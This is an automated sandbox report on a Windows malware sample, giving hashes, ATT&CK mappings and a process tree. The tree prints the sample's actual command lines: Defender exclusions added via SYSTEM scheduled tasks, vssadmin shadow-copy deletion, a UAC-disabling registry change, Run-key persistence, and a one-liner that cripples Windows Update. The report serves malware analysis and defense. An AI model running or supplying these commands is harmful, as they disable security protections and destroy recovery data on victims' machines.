89db2a7d2d642a5db63c6a516c1cba379c6774120629e52b45bfe7b68417c8b0

Analysis

max time kernel
147s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/10/2026, 01:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.03.exe
Size 30.5MB
Sample261024-bf2gdswt6r
SHA256 89db2a7d2d642a5db63c6a516c1cba379c6774120629e52b45bfe7b68417c8b0
MD5 678bb62c968f2d484ead52636cb7ea15
SHA1 5a20409a78c298c8e9c6f1209d1aa1935afc7971
SHA512 4cb15caf6c68e4865a14e8dd4f5768320d482e60156f7bfa0d7d44c606abc5115cc15c803cfd8d2a7a059ae43f14fcaf9ad451617fae45e9e3fd104951c83281
SSDEEP 196608:zZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCY1:YC/p+HuPOc40
TLSH
T16267181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	uQz6pg.exe

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\TffbH1 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation	tHXbzq.exe

Executes dropped EXE 3 IoCs

pid	Process
5388	tHXbzq.exe
5884	tHXbzq.exe
2584	uQz6pg.exe

Loads dropped DLL 3 IoCs

pid	Process
5388	tHXbzq.exe
5884	tHXbzq.exe
2584	uQz6pg.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2220	icacls.exe
6040	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\TffbH1\\tHXbzq.exe\""	tHXbzq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\uQz6pg\\uQz6pg.exe\""	uQz6pg.exe

Indicator Removal: Clear Persistence 1 TTPs 7 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3520	cmd.exe
1508	cmd.exe
3984	cmd.exe
5896	cmd.exe
5460	cmd.exe
5268	cmd.exe
1160	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	tHXbzq.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\uQz6pg	tHXbzq.exe
File created	C:\Program Files (x86)\uQz6pg\uQz6pg.exe	tHXbzq.exe
File created	C:\Program Files (x86)\uQz6pg\XPSPLOG.dll	tHXbzq.exe
File created	C:\Program Files (x86)\uQz6pg\image.png	tHXbzq.exe
File created	C:\Program Files (x86)\uQz6pg\thumbs.db	tHXbzq.exe
File opened for modification	C:\Program Files (x86)\uQz6pg\uQz6pg.exe	tHXbzq.exe
File opened for modification	C:\Program Files (x86)\uQz6pg\XPSPLOG.dll	tHXbzq.exe
File opened for modification	C:\Program Files (x86)\uQz6pg\thumbs.db	tHXbzq.exe
File opened for modification	C:\Program Files (x86)\uQz6pg\image.png	tHXbzq.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 9 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
636	cmd.exe
3344	cmd.exe
904	cmd.exe
1048	cmd.exe
3956	cmd.exe
4484	cmd.exe
4904	cmd.exe
4728	cmd.exe
1332	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.03.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.03.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	tHXbzq.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	tHXbzq.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uQz6pg.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5232	schtasks.exe
5736	schtasks.exe
372	schtasks.exe
5972	schtasks.exe
4244	schtasks.exe
2988	schtasks.exe
4516	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
4568	install.2.0.03.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe
5388	tHXbzq.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 5388 wrote to memory of 1508	5388	tHXbzq.exe	99
PID 1508 wrote to memory of 2988	1508	cmd.exe	101
PID 1508 wrote to memory of 376	1508	cmd.exe	102
PID 1508 wrote to memory of 4248	1508	cmd.exe	104
PID 5388 wrote to memory of 3984	5388	tHXbzq.exe	109
PID 636 wrote to memory of 5652	636	cmd.exe	111
PID 3984 wrote to memory of 4516	3984	cmd.exe	112
PID 5388 wrote to memory of 5896	5388	tHXbzq.exe	114
PID 3984 wrote to memory of 1980	3984	cmd.exe	116
PID 5896 wrote to memory of 5232	5896	cmd.exe	119
PID 3984 wrote to memory of 1584	3984	cmd.exe	120
PID 5388 wrote to memory of 5460	5388	tHXbzq.exe	121
PID 5896 wrote to memory of 4340	5896	cmd.exe	123
PID 5896 wrote to memory of 5680	5896	cmd.exe	125
PID 5460 wrote to memory of 5736	5460	cmd.exe	126
PID 5388 wrote to memory of 5268	5388	tHXbzq.exe	129
PID 5460 wrote to memory of 5400	5460	cmd.exe	131
PID 5268 wrote to memory of 372	5268	cmd.exe	132
PID 5268 wrote to memory of 2832	5268	cmd.exe	134
PID 5460 wrote to memory of 4536	5460	cmd.exe	135
PID 5268 wrote to memory of 5112	5268	cmd.exe	136
PID 3344 wrote to memory of 3452	3344	cmd.exe	138
PID 3956 wrote to memory of 3964	3956	cmd.exe	139
PID 904 wrote to memory of 5588	904	cmd.exe	140
PID 5388 wrote to memory of 2584	5388	tHXbzq.exe	141
PID 2584 wrote to memory of 4484	2584	uQz6pg.exe	144
PID 2584 wrote to memory of 4904	2584	uQz6pg.exe	146
PID 2584 wrote to memory of 4728	2584	uQz6pg.exe	148

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	uQz6pg.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.03.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.03.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4568

C:\Users\Public\TffbH1\tHXbzq.exe
C:\Users\Public\TffbH1\tHXbzq.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\TffbH1\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1508
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\TffbH1\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2988
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:376
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3984
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4516
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1980
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5896
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5232
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4340
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5460
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5736
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5400
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5268
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:372
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2832
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5112
- C:\Program Files (x86)\uQz6pg\uQz6pg.exe
  "C:\Program Files (x86)\uQz6pg\uQz6pg.exe"
  2⤵
  - UAC bypass
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2584
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:4484
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\uQz6pg" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4904
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\uQz6pg" /inheritance:r
      4⤵
      Modifies file permissions
      PID:2220
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:4728
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\uQz6pg\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1160
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\uQz6pg\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4244
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:1332
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:4564
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:3640
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3520
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5972
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\uQz6pg" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1048
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\uQz6pg" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:6040

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\TffbH1" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:636
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\TffbH1" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5652

C:\Users\Public\TffbH1\tHXbzq.exe
"C:\Users\Public\TffbH1\tHXbzq.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5884

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3956
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3964

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3556

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3344
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3452

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:904
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5588

C:\Program Files (x86)\RzxW7L\8qH78.exe
"C:\Program Files (x86)\RzxW7L\8qH78.exe"
1⤵
PID:4460

C:\Program Files (x86)\uQz6pg\uQz6pg.exe
"C:\Program Files (x86)\uQz6pg\uQz6pg.exe"
1⤵
PID:5676

C:\Program Files (x86)\uQz6pg\uQz6pg.exe
"C:\Program Files (x86)\uQz6pg\uQz6pg.exe"
1⤵
PID:3040

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\RzxW7L\XPSPLOG.dll
Size 4.6MB
SHA256 f3c68301e79934b1b7f8b8f924dfa793b77961f63f92de80686284a4536a7556
MD5 bedc7ff9b01d948c26e16538cc6d3062
SHA1 8150821abfdc8a61586d0136e2d5c0b800930663
SHA512 602968ec1c689abb64aa6c24b141582dd30be12078bb41f24ff1d33c50e5d1937dc158bd8176b2bf5ac61a772a6612691b3180a5fa8a62131961ef80a148d982
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyR:BMWKfU+BcUTHCCCfqCiUffnR
TLSH
T11C263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\RzxW7L\image.png
Size 1.0MB
SHA256 2aa0261cf33322e54aa9fee0c9f9228e5d71ee21cefddbf7d08c5a5d57be35d5
MD5 ae43094caee2a6f10ad0025bf468145e
SHA1 33129919d42fbce84e5d22b63b57442004a17210
SHA512 4d96fda027682b4de37c48cd64df17cb71c80b631635ff26215b331589a6d9d75108596ec55d77eea7705148cb0bd6d0acf0f5f7960b008d52dd54ddac20156f
SSDEEP 24576:T2dSOuL/aJtWPUH+HHKt1DJLojtJvJlqb+RFcRuHMyWY9m:sSOu2FbbJMzxe+fJkf
TLSH
T16925334AD7EB75A892E1F13AF007ADA07B3D2771C0822575A0A3FE01EB1835E715B529
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\uQz6pg\XPSPLOG.dll
Size 4.6MB
SHA256 c692370e9060700607b102a4c24646ba90c3793446818e6293eeac51be105983
MD5 130645d27cfddb0c2b011a0ae816e596
SHA1 d8313305ca10ac15aa15c74bdc9ab0df81cdd250
SHA512 eb0c20647331b4f643f8da4fe7c285125d47313a6ec20f138a0c72660c67fa43f7b027834f1e114f4efc4cee08d530a8f170633713d579736d774bd420fdb2ea
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy5:BMWKfU+BcUTHCCCfqCiUffn5
TLSH
T1CF263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\uQz6pg\image.png
Size 4.8MB
SHA256 fdf530092373aca8f3a44e183800cb5e22b18b26a0d2be713d5e77c978415813
MD5 d625871216ab3b3b15e94a226313eedb
SHA1 4517350fa4a3eafde9fa777a44213a11687b2972
SHA512 a58b1c774c9a969364b5e6dc1de202cb675168fef4d5c31285778537ced9443233921928f5356c39ddfdf282f777f224d80d5b5a2ae2bb0184809007a03e6865
